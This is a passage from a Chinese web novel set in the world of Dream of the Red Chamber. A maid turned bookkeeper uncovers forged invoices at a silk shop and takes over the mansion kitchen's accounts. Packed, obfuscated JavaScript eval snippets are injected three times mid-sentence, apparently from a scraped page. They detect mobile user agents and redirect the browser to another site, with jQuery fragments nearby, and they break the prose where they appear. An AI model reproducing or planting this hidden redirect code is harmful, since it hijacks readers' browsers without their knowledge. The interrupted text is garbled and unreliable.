刚穿过一处僻静的穿堂，就听见假山后传来压低的交谈声。 “……不过是个走了狗屎运的丫头片子，真当自己是什么人物了！”一个有些耳熟的声音忿忿道，苏璃辨出，像是大厨房里一个姓赵的媳妇。 “嘘！小声点！你也不怕隔墙有耳！”另一个声音劝阻道，是林之孝家的声音，“她如今正得二奶奶的意，连周瑞家的都栽了跟头，你招惹她做什么？” “我招惹她？林姐姐，你是没看见！前儿我去回话，她那个样子，眼睛都快长到头顶上了！问句话爱答不理的，不就是会拨弄几下算盘珠子吗？谁知道那账目是怎么回事，说不定是瞎猫碰上死耗子，或者……”赵媳妇的声音压得更低，带着恶意的揣测，“……背后有什么见不得人的勾当，才让二奶奶这般抬举！” “快住口！”林之孝家的声音严厉起来，“这种没影子的话也是能乱说的？仔细你的舌头！二奶奶精明一世，能让她糊弄了？做好你自己的本分是正经！” “我就是气不过！咱们在府里熬了多少年，还不如一个毛没长齐的黄毛丫头……” 声音渐渐远去，显然是两人边说边走了。 苏璃从廊柱后缓步走出，面色平静无波，唯有袖中的手指微微蜷紧。果然来了。明枪易躲，暗箭难防。这种基于嫉妒和不确定性的恶意揣测，往往比直接的冲突更令人心烦，也更具破坏力。 她深吸一口气，压下心头泛起的冷意。看来，光是谨慎低调还不够，她需要更快地站稳脚跟，需要让王熙凤更加离不开她，也需要……适当地，展现一点并非软弱的“存在感”。 机会在她整理旧礼单时悄然出现。 这些是往年各府节礼往来的记录，杂乱无章，堆在库房角落积灰。平儿让她整理，本意是让她熟悉旧例，磨磨性子。 苏璃却做得极其认真。她不仅按年份、府邸将礼单归类，还特意留意了礼品的种类、价值，以及贾府回礼的规格。她发现，有些关系亲近的府邸，年节往来礼品价值相差无几；而有些关系微妙或地位稍逊的府邸，贾府的回礼往往远超对方送来的价值。 她心中默默 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当晚，王熙凤就看到了那份“节礼往来摘要”。她没说什么，只是深深看了苏璃一眼，吩咐平儿：“往后这些旧例，都让她帮着理一理。” 又过了两日，王熙凤查看完外面铺子送来的收益账本，眉头紧锁，显然心情不佳。那铺子似乎收益持续下滑。 她揉了揉眉心，像是随口问道：“柳絮，若是一个铺子，地段不差，货品也还行，往年收益尚可，近来却连连下跌，你觉得可能是何缘故？” 屋内伺候的丰儿、碧痕等都垂着头，不敢吱声。这等外面爷们经营的铺子，她们哪里懂得。 苏璃心中一动，知道这并非随口一问。她斟酌着词语，谨慎回道：“回奶奶，奴婢愚见。铺子收益下跌，无非‘开源’、‘节流’两方面。开源不利，或是货品不如从前精巧，或是伙计怠慢得罪了主顾，或是同行竞争激烈。节流不善，或是采买成本增高，或是铺面租金上涨，或是……掌柜、伙计中饱私囊，虚报损耗。” 她顿了顿，见王熙凤听着，便继续道：“若要细查，或可暗中派人扮作顾客，去看看别家同类铺子的货品、价钱、伙计待客如何。再悄悄核对铺子近期的采买单据和损耗记录，与往年同期对比。若采买价无故增高，或损耗异常变大，则内里恐怕……” 她没有把话说完，但意思已经明了。 王熙凤盯着她，手指无意识地敲着桌面，半晌，忽然对平儿道：“去，把旺儿媳妇叫来。” 旺儿是贾琏的心腹小厮，外面许多事都由他夫妇二人经手。 苏璃垂下眼，心知肚明。王熙凤这是听进去了，而且要有所动作了。而自己，在展示了查账能力后，又一次在“经营”方面，给出了关键的建议。 她在王熙凤心中的分量，正在一点点加重。而那些隐藏在平静水面下的暗流，似乎也因她这枚投入水中的石子，搅动得更加汹涌了。 夜色渐深。 苏璃伺候完王熙凤歇下，回到自己小屋。碧痕已经睡下，发出均匀的呼吸声。 她走到窗边，看着窗外沉沉的夜色。荣国府如同一头蛰伏的巨兽，在黑暗中沉默着，无数的心计与欲望在它的体内流淌。 她知道，自己今日关于铺子的一番话，或许会触动另一批人的利益。旺儿媳妇……那可不是周瑞家的那般容易拿捏的角色。 山雨欲来风满楼。 苏璃轻轻关上了窗户，将寒冷的夜风和未知的暗涌，一同隔绝在外。 9. 小试牛刀 旺儿媳妇来得比预想的要快。 不过一盏茶的功夫，她就顶着夜寒赶到了王熙凤院外。显然，这位府里有头有脸的管事媳妇，消息灵通得很，早已得了信儿。 苏璃本已退回小屋，却被平儿又叫了出来，吩咐在茶房里候着，以备奶奶随时问话。这用意很明显，王熙凤是要将她放在眼皮子底下，既是备用，也是观察。 隔着帘子，正房里的声音隐约可闻。 旺儿媳妇的声音带着惯有的爽利和恰到好处的委屈：“……给二奶奶请安。这大晚上的，奶奶唤奴婢来，可是有什么要紧吩咐？奴婢听着信儿就赶紧来了，一刻没敢耽搁。” 王熙凤的声音听不出喜怒，懒洋洋的，带着一丝疲惫：“也没什么大事。就是今儿看了南边那间绸缎庄的账本，这半年进的少，出的也不多，收益却跌得厉害。我记得往年这时候，多少还能见些利钱，如今倒好，不往里贴补就算阿弥陀佛了。你当家的常在外面跑，可曾听见过什么风声？或是那掌柜的，近来有什么说道？” “哎哟，我的奶奶！”旺儿媳妇的声音立刻拔高了些，带着喊冤的腔调，“您可是问着了！当家的前儿还跟奴婢念叨呢，说如今这生意是越发难做了！南边新开了两家大的绸缎庄，货色新，价钱还压得低，生生抢走了不少老主顾。咱们庄子上那个李掌柜，是个老实人，嘴又笨，哪里争得过那些油滑的？当家的还说，眼看年关，是不是请奶奶的示下，多少再支点银子周转，或是进些时新花样撑撑场面，不然这铺子，怕是……” 她絮絮叨叨，将缘由全推给了市场竞争和掌柜无能，顺带还想再要银子。 苏璃在茶房里，默默斟了一杯热茶握在手里。旺儿媳妇这番说辞，在她听来漏洞百出。市场竞争固然存在，但一家经营多年的老店，若货品、服务没有大问题，收益不应断崖式下跌。而且，开口就要银子周转，更像是企图用新的投入来掩盖旧的问题。 帘子内，王熙凤沉默了片刻，忽然轻笑一声，那笑声里带着点冷意：“哦？竞争激烈？李掌柜老实？我怎的听说，他上个月才给他儿子在城南置办了个两进的小院？这‘老实’掌柜，家底倒是厚实。” 旺儿媳妇的声音戛然而止，像是被掐住了脖子。 外面站着的苏璃，心中也是一凛。王熙凤果然并非全然不知情，她手里定然还握着别的消息来源。今晚这一出，问话是假，敲山震虎才是真。 “奶、奶奶……”旺儿媳妇的声音明显慌了，“这、这奴婢可不知情……许是、许是他家里原本有些积蓄……” “积蓄？”王熙凤慢条斯理地拨弄着茶碗盖，发出清脆的碰撞声，“有没有积蓄，查查他这些年的工钱和分红就知道了。旺儿家的，” 她语气陡然一转，变得锐利起来：“你当家的在外面走动，耳目灵通。你回去告诉他，让他‘悄悄’地去打听打听，咱们绸缎庄近半年来，都是从哪家上的货，价钱几何。再‘悄悄’地去看看，李掌柜家那新宅子，是个什么光景。记住，是‘悄悄’的，别弄得满城风雨，丢了府里的脸面。” 一连两个“悄悄”，语气极重。 旺儿媳妇哪里还敢多言，连声应“是”，声音都带着颤。 “去吧。”王熙凤淡淡道。 旺儿媳妇如蒙大赦，几乎是跌跌撞撞地退了出去。 苏璃站在茶房里，能听到自己略微急促的心跳。王熙凤这番连消带打，既警告了可能与之有牵连的旺儿夫妇，又将调查的差事派给了他们，逼他们表态站队，手段可谓老辣。 片刻后，平儿掀帘进来，对苏璃低声道：“奶奶叫你。” 苏璃定了定神，走进正房。 王熙凤依旧靠在炕上，脸色在灯下显得有些明暗不定。她看着苏璃，直接问道：“若是让你去查这铺子的账，你待如何入手？” 苏璃知道，这才是真正的“小试牛刀”。她沉吟片刻，谨慎答道：“回奶奶，若奴婢去查，明面上，会核对近半年与往年同期的进货单价、数量，以及销售记录，看是否有异常波动。暗地里，会如奶奶方才所示，查其进货渠道是否有变，货品是否以次充好，或是虚报损耗。此外，还可留意铺中伙计，是否有异常富足或与掌柜关系过于密切者，或能寻到突破口。” 她顿了顿，补充道：“只是……奴婢人微言轻，又是生面孔，骤然去查，只怕打草惊蛇。” 王熙凤听完，不置可否，只挥了挥手：“知道了，下去吧。” 苏璃行礼退下。她知道，自己的回答中规中矩，但至少没有出错。种子已经播下，就看王熙凤何时，以及如何用它了。 接下来的几天，府里表面依旧平静，但关于绸缎庄和旺儿家的风声，却不知怎的，悄悄在底层仆役中流传开来。版本各异，有的说李掌柜贪墨被抓了现行，有的说旺儿家也要倒霉，更有甚者，将苏璃那晚被叫去问话的事情也关联起来，传成了是她“火眼金睛”又看出了大问题。 这些风言风语，苏璃有所耳闻，却只做不知。她依旧每日兢兢业业地当差，整理旧档，伺候笔墨，愈发沉默寡言。 这日，王熙凤忽然将一本账册并一小叠单据扔到苏璃面前，语气平淡：“这是绸缎庄去年同期的进货账和部分单据，你拿去，跟我刚才看的那本今年的对比一下，看看可能找出什么来。不必声张。” 苏璃心中一震，知道机会来了。她恭顺应下，捧着账本和单据，回到平儿安排给她临时使用的一张小书案前。 这是她第一次正式接触贾府外部经营的账目。她深吸一口气，摒弃杂念，全身心投入进去。 对照的工作量不小。她先快速浏览了两本账册的结构和记录习惯，然后重点核对主要绸缎品种的进货价。 很快，她就发现了问题。几种常见的锦、缎，今年的进货单价，比起去年同期，普遍上浮了半成到一成。而根据她之前整理礼单时了解到的市价行情，这类绸缎近一年的价格颇为平稳，并无明显上涨。 她立刻翻看那些进货单据。单据是商铺惯用的格式，盖着供货商“兴隆绸缎行”的印鉴，看似没有问题。但苏璃注意到，这些单据的纸张，与去年留存的、同样来自“兴隆绸缎行”的单据相比，质地似乎略粗糙一些，印鉴的边框线条也稍有模糊。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908582|192429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 一个大胆的猜测在她心中形成。 她没有立刻下结论，而是取来空白的纸张和笔墨，模仿着单据上的笔迹和格式，尝试临摹那枚“兴隆绸缎行”的印鉴。她前世为了分析财报，曾粗略研究过印章鉴定，知道仿刻的印章在细节上很难做到完全一致。 反复比对和描摹后，她基本可以确定，今年的这些进货单据，上面的印鉴是仿刻的！ 那么，真实的进货渠道和价格，恐怕另有乾坤。这虚高的进价差价，落入了谁的口袋，不言而喻。 她将发现的问题、单价的异常波动、以及印鉴的疑点，清晰条理地记录在纸上，附上她临摹对比的图样，然后呈给了王熙凤。 王熙凤看着那份条理分明的记录，目光在印鉴对比图样上停留了许久，脸上看不出什么表情，只淡淡说了一句：“倒是心细。” 但苏璃看见，她捏着那张纸的手指，微微收紧了些。 又过了两日，一个下午，王熙凤忽然吩咐苏璃：“你去一趟二门上传话，让小厮备车，我要去一趟绸缎庄。” 苏璃愣了一下，连忙应下。她隐约觉得，王熙凤这是要动手了。 果然，王熙凤带着平儿和丰儿，以及两个粗使婆子，径直出了门。苏璃被留在了院里。 直到天色擦黑，王熙凤才回来，脸色如常，甚至带着一丝若有若无的倦怠笑意。 但府里的消息总是传得飞快。没过多久，苏璃就从丫鬟们压低的议论声中拼凑出了大概：二奶奶突然去了绸缎庄，当场查账盘库，不仅发现了账目不清、货品以次充好，竟还从李掌柜的柜子里搜出了几份与不同商行往来的真实进货单据，价格远比账上记录的要低。人赃并获，李掌柜面如土色，当场就被捆了送官。连带铺子里两个和他勾结的伙计也一并撵了。 雷霆手段，干净利落。 晚上，平儿悄悄告诉苏璃：“奶奶说了，这次多亏你心细，看出了那印鉴的问题，不然还真不好抓他个现行。” 苏璃谦逊了几句，心中却明白，自己这“小试牛刀”，算是成功了。她在王熙凤心中“有用”的印象，进一步加深。 然而，没等她这口气完全松下来，平儿又压低声音补充了一句，带着一丝忧色：“只是……旺儿家的今天下午，在老太太院里，哭哭啼啼了半晌，说是自己当家的办事不力，没能及早察觉李掌柜的勾当，求老太太和二奶奶恕罪呢。” 苏璃的心微微一沉。 旺儿家的这是以退为进，跑到贾母面前演了一出“请罪”的戏码。贾母念旧，又顾及体面，多半会安抚几句，不会深究。如此一来，王熙凤即便心知旺儿家可能不清白，短期内也不好再动他们了。 打掉了李掌柜这条明线上的鱼，却惊动了水下更狡猾的大鱼。 苏璃回到小屋，看着窗外漆黑的夜色。初战告捷的喜悦渐渐冷却，取而代之的是一种更深沉的思量。 这贾府里的水，果然深得很。她这只刚刚伸出爪子的小兽，试探性地挠了一下，却似乎惊动了更深处盘踞的东西。 接下来的，恐怕就不止是账本上的较量了。 10. 站稳脚跟 绸缎庄的风波，如同投入古井的石子，激起圈圈涟漪后，表面很快恢复了平静。 李掌柜被送官法办，在贾府下人间成了杀鸡儆猴的谈资，热度持续了七八日，也就渐渐被新的闲话取代。 王熙凤借此机会，将自己陪房的一个得力伙计安插进了绸缎庄，算是暂时掌控了局面。旺儿家的自那日在贾母面前“请罪”后，着实低调了一阵子，见了王熙凤更是加倍恭敬，仿佛真只是个失察的。贾母果然如苏璃所料，并未深究，只说了句“下面的人不省心，你们多操些心”便揭过了。 府里似乎又回到了以往的秩序，但苏璃能感觉到，一些微妙的东西已经改变了。 最直接的变化来自王熙凤。经过绸缎庄一事，她似乎真正将苏璃视作了可以倚重的“自己人”。虽仍让她做着贴身丫鬟的活计，但涉及银钱账目、乃至一些外面铺子送来的简报，开始越来越多地让她经手，甚至偶尔会询问她的看法。 “柳絮，你看看这个，”这日，王熙凤将一封书信递给她，是金陵老宅那边的管家写来的，禀报田庄收成和年底送京的例礼清单，“瞧瞧这数目，可还妥当？” 苏璃接过，快速浏览。信上列了各色米粮、土产、野味的数量，价值不菲。她心中默算，结合之前看过的老账，觉得并无太大出入，便谨慎回道：“回奶奶，单看数目，与往年相差不大。只是……如今京城米价略有浮动，若将这些实物折成银钱，或许比往年略高些，但也算在情理之中。” 王熙凤点点头，没说什么，但眼神里是认可的。这种信任，并非一蹴而就，而是在一次次“小试牛刀”中累积起来的。苏璃用她的专业、谨慎和从未出错的细致，慢慢在王熙凤身边赢得了一席之地。 她在王熙凤院里的地位也随之水涨船高。月钱按一等丫鬟发放，吃穿用度也与其他大丫鬟无异。平儿待她愈发亲近，时常提点。连咋咋呼呼的碧痕，如今在她面前也收敛了许多，偶尔带点巴结地叫她“柳絮姐姐”。 下人们都是最会看眼色的。先前那些若有若无的排挤和打探，渐渐变成了表面的客气，甚至带着几分敬畏。背后议论依旧少不了，但至少没人敢再当面给她脸色看。苏璃清楚，这“站稳脚跟”，靠的不是运气，而是她实实在在展现出的、无法被轻易替代的价值。 这日，府中传来消息，说是林姑老爷家的姑娘，不日便要进京了。老太太发了话，要收拾出碧纱橱来，好生接待。 消息像一阵风，吹皱了贾府后宅的一池春水。下人们议论的焦点，瞬间从绸缎庄、新得势的丫鬟，转移到了这位即将到来的、身份特殊的表小姐身上。 “听说这位林姑娘身子骨弱，是从会吃饭就开始吃药的呢！” “可不是，自幼没了母亲，如今父亲又在外任职，这才送来咱们府上教养。” “老太太心疼得什么似的，再三吩咐要仔细准备，可不能怠慢了。” …… 苏璃听着众人的议论，心中波澜微起。林黛玉，终于要登场了。这意味着，红楼的故事正轨，正缓缓开启。而她，这个意外闯入的变量，已经先一步，在这庞大的家族机器中，找到了自己的位置。 王熙凤作为管家奶奶，接待林黛玉的一应事宜自然落在她肩上。收拾房屋、准备用具、安排伺候的人手……忙得团团转。苏璃也跟着忙前忙后，负责核对采买各项用品的账目，确保既不逾越规矩，又不失贾府体面。 这差事琐碎，却至关重要。苏璃做得一丝不苟，每一笔支出都记录得清清楚楚，价格也核对比市价公允，让想从中揩油的人无从下手。王熙凤看在眼里，愈发满意。 这日午后，苏璃正对着单子清点新采购来的文具玩器，就听见外面小丫鬟通报：“二奶奶，东府珍大奶奶来了。” 话音未落，只见一个穿着桃红撒花袄，葱黄绫子棉裙的年轻媳妇笑着走了进来，身量苗条，体格风骚，粉面含春威不露，丹唇未启笑先闻。正是宁国府的当家奶奶，贾珍之妻尤氏。 “哟，凤丫头，你这可是大忙人啊！”尤氏笑着上前，自顾自地在炕沿坐下，“我来了两趟，你都不得空。” 王熙凤见她来，也露出笑容，吩咐平儿倒茶：“快别提了，还不是为了迎接林姑娘的事？老太太千叮万嘱，我敢不尽心？” 两人说笑了一阵，尤氏目光一转，落在了安静站在一旁核对单子的苏璃身上，打量了几眼，笑道：“这就是你跟前新来的那个丫头？叫柳絮是吧？听说算盘打得极好，连外面铺子的事都能帮衬上几句？可真真是个人才模样。” 苏璃忙放下手中的东西，上前行礼：“给珍大奶奶请安。” 王熙凤笑了笑，语气带着几分不易察觉的炫耀：“什么人才，不过是个实心眼的丫头，还算细致，帮我看看些琐碎账目罢了。” 尤氏拉着苏璃的手，又细细看了看，对王熙凤道：“好个齐整丫头，又稳重。凤丫头，你如今是越发会调理人了。我瞧着都喜欢，不如你割爱，让给我使唤几天？” 苏璃心中微微一紧。 王熙凤闻言，脸上的笑容淡了些，端起茶杯抿了一口，慢悠悠地道：“大嫂可真会开玩笑。我这才刚使顺手，你就来撬墙角？这可不成。这丫头笨笨的，也就对几个数字上心，到了你那儿，怕是连茶都端不好，没得惹你生气。” 这话听着是推拒和自谦，实则滴水不漏，明确表示了不放人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908583|192429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尤氏碰了个软钉子，也不恼，依旧笑着：“瞧你护得跟什么似的！罢了罢了，知道你如今离不了她。”她又闲话几句，便起身告辞了。 尤氏走后，王熙凤看着苏璃，淡淡道：“宁国府那边，账目比咱们这边还乱三分。珍大嫂子看着和气，心思却不简单。你如今盯着咱们府里的账，难免招人眼。往后那边的人事，少掺和。” “是，奶奶，奴婢明白。”苏璃恭顺应下。王熙凤这番话，既是提醒，也是警告，更是将她牢牢划在了自己的势力范围内。经过尤氏这一遭“索要”，她这“站稳脚跟”，算是得到了主子层面某种意义上的确认。 林黛玉进府那日，贾府热闹非凡。苏璃作为王熙凤的贴身丫鬟，也跟着在贾母院外伺候，远远瞧见了那位乘着青绸小车而来的袅娜身影。 她被人搀下马车，身子看起来十分单薄娇弱。眉毛像一抹轻烟，微微蹙起；眼中总像含着泪水，水汪汪的。脸上带着淡淡的愁容，整个人透着一股病弱的美态。眼角好似挂着泪珠，呼吸微弱。安静的时候，像一株娇美的花映在水中；走起路来，则像柔嫩的柳条在风中摇曳。 果真与书中描写一般无二。 贾母搂着自己的心肝肉儿地哭了一场，众人一番劝解才罢。王熙凤拉着黛玉的手，上下细细打量，说着“天下真有这样标致的人物，我今儿才算见了”①等语，热闹非凡。 苏璃站在人群外围，看着这幕经典的“初入贾府画面”，心中有种奇异的疏离感。她不再是旁观者，而是这宏大叙事中的一员，一个已经初步站稳了脚跟的参与者。 晚间，伺候完王熙凤歇下，苏璃回到小屋。碧痕还在兴奋地议论着今日见到的林姑娘如何如何，又说起了宝二爷见了林姑娘，直说“这个妹妹我曾见过的”②的趣事。 苏璃默默听着，没有插话。她走到窗边，看着外面廊下悬挂的灯笼，在夜色中散发出朦胧的光晕。 林黛玉来了，贾宝玉、薛宝钗……那些耳熟能详的人物将陆续登场，原著的故事会沿着它既定的轨迹缓缓展开。而她，苏璃，这个本不该存在的“柳絮”，已经凭借自己的能力和算计，在风波诡谲的贾府内宅，扎下了一颗虽不深、却足够坚韧的根。 前路依旧漫长且布满荆棘，来自旺儿家的、乃至宁国府那边的隐忧并未消除，府内庞大的财务窟窿也只是窥见一隅。但至少，她不再是那个在杂役院里挨饿受冻、朝不保夕的小丫鬟了。 她有了身份，有了倚仗，也有了……继续向上攀爬的资本和野心。 夜风吹动灯笼，光影摇曳，映照着她沉静而坚定的侧脸。 这深宅大院的故事，才刚刚开始。而她，注定不会只做一个无声的看客。 11. 接管厨房项目 林黛玉入府带来的新鲜劲儿，如同投入湖面的石子，涟漪荡漾了几日，便渐渐平息下去。 碧纱橱里住进了这位娇弱标致的表小姐，宝玉日日绕膝，姐妹们时常探望，成了府中一道新的景致。但于大多数下人而言，日子照旧，当差、吃饭、嚼舌根，并无不同。 苏璃的生活也似乎回到了之前的轨道，伺候笔墨，整理账目，偶尔为王熙凤核对些外面送来的简报。只是她敏锐地察觉到，王熙凤眉宇间那抹挥之不去的疲惫与烦躁，近日又深重了几分。 这日清晨，苏璃端着刚沏好的枫露茶进去，正听见王熙凤对着平儿抱怨：“……这才消停几天？大厨房那边又闹将起来！说是采买上短了斤两，油盐酱醋都对不上数，几个管事媳妇互相推诿，吵吵嚷嚷，不成个体统！真真是按下葫芦浮起瓢，没一日清净！” 平儿轻声劝着：“奶奶别动气，气坏了身子不值当。大厨房人多手杂，历来如此，慢慢梳理便是。” “梳理？怎么梳理？”王熙凤没好气地道，“那起子人，一个个滑不溜手，背后关系盘根错节，重了不是，轻了也不是！账目更是一团乱麻，连个清楚数目都拿不出来！”她越说越气，将手中的账本往炕几上一摔。 苏璃垂眸，将茶轻轻放在王熙凤手边，心念微动。大厨房……那可是比之前绸缎庄油水更厚、关系更复杂的地方。贾府上下几百口人，一日三餐，采买消耗，其中的猫腻，只怕比那渠塘工程只多不少。 王熙凤烦躁地揉了揉额角，目光无意间扫过安静侍立的苏璃，忽然顿住了。她盯着苏璃看了片刻，眼神闪烁，似乎在权衡着什么。 屋内静默了片刻，只闻炭火轻微的噼啪声。 “柳絮。”王熙凤忽然开口，声音带着一丝决断后的平静。 “奴婢在。”苏璃上前一步。 “大厨房的账，历来糊涂。”王熙凤看着她，语气不容置疑，“从今日起，你去把厨房的账目接管起来。一应采买、入库、出库，每日用了多少，剩了多少，都给我登记造册，弄得清清楚楚。我倒要看看，到底是哪里在漏银子！” 饶是苏璃早有心理准备，心头也是猛地一跳。接管厨房账目！这可不是之前核对旧账、查看外部铺子简报那么简单。这是直接切入贾府内部日常运转的核心环节，触及的利益网络更为庞大和直接。 她立刻垂下头，声音带着恰到好处的惶恐：“奶奶信任，奴婢感激不尽。只是……厨房事务繁杂，奴婢年轻识浅，只怕……力有不逮，辜负了奶奶的期望。” “力有不逮？”王熙凤挑眉，语气带着一丝压迫，“你能看出渠塘工程的虚账，能辨出绸缎庄单据的真伪，区区一个厨房的流水账，就能难倒你了？” 她不等苏璃回答，便继续道：“不必妄自菲薄。我看中的就是你这份细致和明白。你只管去做，按规矩来，该记的记，该查的查。有什么难处，或是哪个不开眼的敢为难你，直接来回我。” 这话，便是给了她尚方宝剑。 苏璃知道，这不是商量，是命令，也是考验。她不再推辞，深吸一口气，肃容应道：“是！奴婢遵命，定当竭尽全力，为奶奶理清账目。” “嗯。”王熙凤满意地点点头，对平儿道，“平儿，你带她过去，跟厨房那几个管事的说清楚。往后厨房的账目，一律由柳絮负责登记核查，每日呈报。采买支取银子，也需有她画押才算数。” “是，奶奶。”平儿应下，看向苏璃的眼神带着鼓励，也有一丝不易察觉的担忧。 大厨房位于荣国府后身，独占了一个大院落。还未走近，便听得里面人声鼎沸，锅碗瓢盆碰撞声、切菜声、婆子媳妇的吆喝声混杂在一起，热闹非凡。 平儿带着苏璃一走进去，里面的嘈杂声顿时低了下去。所有人的目光都聚焦过来，带着好奇、审视，还有明显的警惕。几个管事的媳妇——李嫂子、赵嬷嬷、王婆子等连忙迎了上来，脸上堆着笑。 “平姑娘怎么得空过来了？”李嫂子曾是苏璃在杂役院时的“上司”，此刻笑容有些勉强，目光在苏璃身上打了个转。 平儿脸上带着惯常的温和笑意，语气却清晰坚定：“奉二奶奶的命，过来传个话。从今日起，厨房里所有采买、入库、出库的账目，一应由柳絮姑娘接管登记。每日用了什么，用了多少，剩余多少，都需记录在册，晚间报给二奶奶过目。往后支取采买银子，也需柳絮姑娘核对画押方可。” 话音一落，厨房里顿时一片寂静。落针可闻。 李嫂子脸上的笑容僵住了，赵嬷嬷和王婆子交换了一个眼神，都看到了对方眼中的惊疑和不满。其他帮厨的、洗菜的婆子丫鬟们，也都屏住了呼吸，偷偷打量着那个站在平儿身边，身形瘦小，面容沉静的少女。 她们大多认得柳絮，知道她原是杂役院最低等的丫头，不知走了什么运被二奶奶看中，提拔到身边。却没想到，这才多久，竟然把手伸到厨房这块肥肉上来了！还要每日登记核查，支取银子需她画押？这简直是卡住了所有人的喉咙！ “平、平姑娘，”李嫂子挤出一丝笑，试图挣扎一下，“这……厨房里的事儿琐碎，油盐酱醋，鸡毛蒜皮，记账最是麻烦。柳絮姑娘年纪轻，怕是……怕是忙不过来，而且这采买支取……” 平儿脸上的笑意淡了些，打断她：“这是二奶奶的决定。柳絮姑娘能力如何，奶奶心里有数。至于忙不忙得过来，那是她的事。诸位妈妈、嫂子都是府里的老人了，规矩自然是懂的，好生配合便是，莫要让二奶奶操心。” 她将王熙凤抬出来，语气虽温和，却带着不容置疑的意味。 李嫂子等人顿时噤声，不敢再多言，只是那脸色，都难看得很。 “柳絮妹妹，这里就交给你了。”平儿转向苏璃，拍了拍她的手，“若有不懂的，或是需要人手，只管来跟我说。” “谢平儿姐姐。”苏璃点头。 平儿又扫了众人一眼，这才转身离去。 平儿一走，厨房里的气氛顿时变得诡异起来。表面上，李嫂子等人强笑着上前，口称“柳絮姑娘”，引着她去看账本、货架，介绍日常流程，但那笑意未达眼底，言语间也带着几分试探和疏离。 苏璃只当不觉，神色平静地跟着她们。她先去看那所谓的“账本”，不过是几本破烂不堪、字迹潦草、涂改无数的旧册子，记录得混乱不堪，根本看不出个所以然。 她又去查看了米面粮油、菜蔬肉蛋的库房。堆放得杂乱无章，新米陈米混在一处，干货湿货不分，损耗多少，全凭管事媳妇一张嘴说。 苏璃心中冷笑，这哪里是账目糊涂，根本就是一笔故意搅浑的烂账，方便上下其手。 她没有立刻发作，只是默默观察，将看到的一切记在心里。 到了午膳前最忙碌的时候，她更是静静站在一旁，看着采买的人如何送货 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908584|192429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进来，管事媳妇如何验收或者说，如何挑挑拣拣、克扣斤两，食材如何分配各房，以及那些明显超出定额的“富余”食材，最终流向了何处…… 一道道目光，或明或暗地落在她身上，带着戒备，带着敌意，也带着等着看她笑话的幸灾乐祸。一个黄毛丫头，想捋顺厨房这团乱麻？只怕是自取其辱！ 苏璃对这一切视若无睹。她很清楚，王熙凤把她放到这个位置上，就是要她来做这个“恶人”，来打破原有的利益格局。她不需要得到这些人的喜欢，只需要让她们害怕，让她们无法再像以前那样肆意妄为。 傍晚，厨房将今日的“流水账”，一张写得歪歪扭扭、数目含糊的纸，送到了苏璃临时占用的小桌子前。 苏璃看了一眼，便放在一旁。她取来自己准备好的、格式统一的新账簿，拿起笔，蘸饱了墨。 然后，在厨房众人或明或暗的注视下，她开始根据自己白日观察和记忆，重新登记造册。米面几何，油盐多少，各房领用几许，剩余几合……笔尖在纸上游走，发出细微的沙沙声，字迹工整，条理清晰。 她不需要询问任何人，只凭自己看到和算出的数据。那些试图隐瞒、糊弄的数字，在她笔下无所遁形。 李嫂子等人看着她伏案书写的侧影，那沉静专注的神情，以及笔下流淌出的、与以往截然不同的清晰账目，脸色渐渐变了。 这丫头……不是来装样子的。她是动真格的！ 一种无形的压力，开始在这烟火气十足的厨房里弥漫开来。 当苏璃将重新誊写清楚、数目分明的新账册合上时，窗外已是暮色四合。 她站起身，目光平静地扫过厨房里或坐或站、神色各异的众人，声音清晰地说道：“从明日起，一切采买入库，需经我点数登记。各房领用食材，也需按定量，由我这边签字确认。以往的旧账，既往不咎。但从今往后，一切需按新规矩来。” 她顿了顿，语气依旧平淡，却带着一股不容置疑的力量：“诸位都是明白人，想必清楚二奶奶的脾气。办好差事，大家安稳。若有人还想在账目上动手脚，或是阳奉阴违……” 她没有把话说完，但那双沉静的眼眸里透出的冷光，让在场几个心思活络的管事媳妇，心头都是一寒。 苏璃拿起那本新账册，不再多看众人一眼，转身走出了厨房。 身后，是一片死寂，以及无数道交织着震惊、愤怒、以及一丝隐隐恐惧的目光。 她知道，这只是开始。接管厨房账目，如同捅了一个巨大的马蜂窝。接下来的反扑和刁难，恐怕会接踵而至。 但她的脚步没有丝毫迟疑。 回到王熙凤院里，将账册呈上。王熙凤翻看着那字迹工整、条目清晰的新账，对比之前那如同天书般的旧纸，嘴角终于勾起一抹真正的笑意。 “办得不错。”她合上账册，看着苏璃，“我就知道，你没让我看错。” 苏璃垂首：“是奶奶教导有方。” 王熙凤挥挥手让她下去休息。 走出正房，夜风带着寒意吹来。苏璃抬头看了看漆黑的夜空，繁星点点。 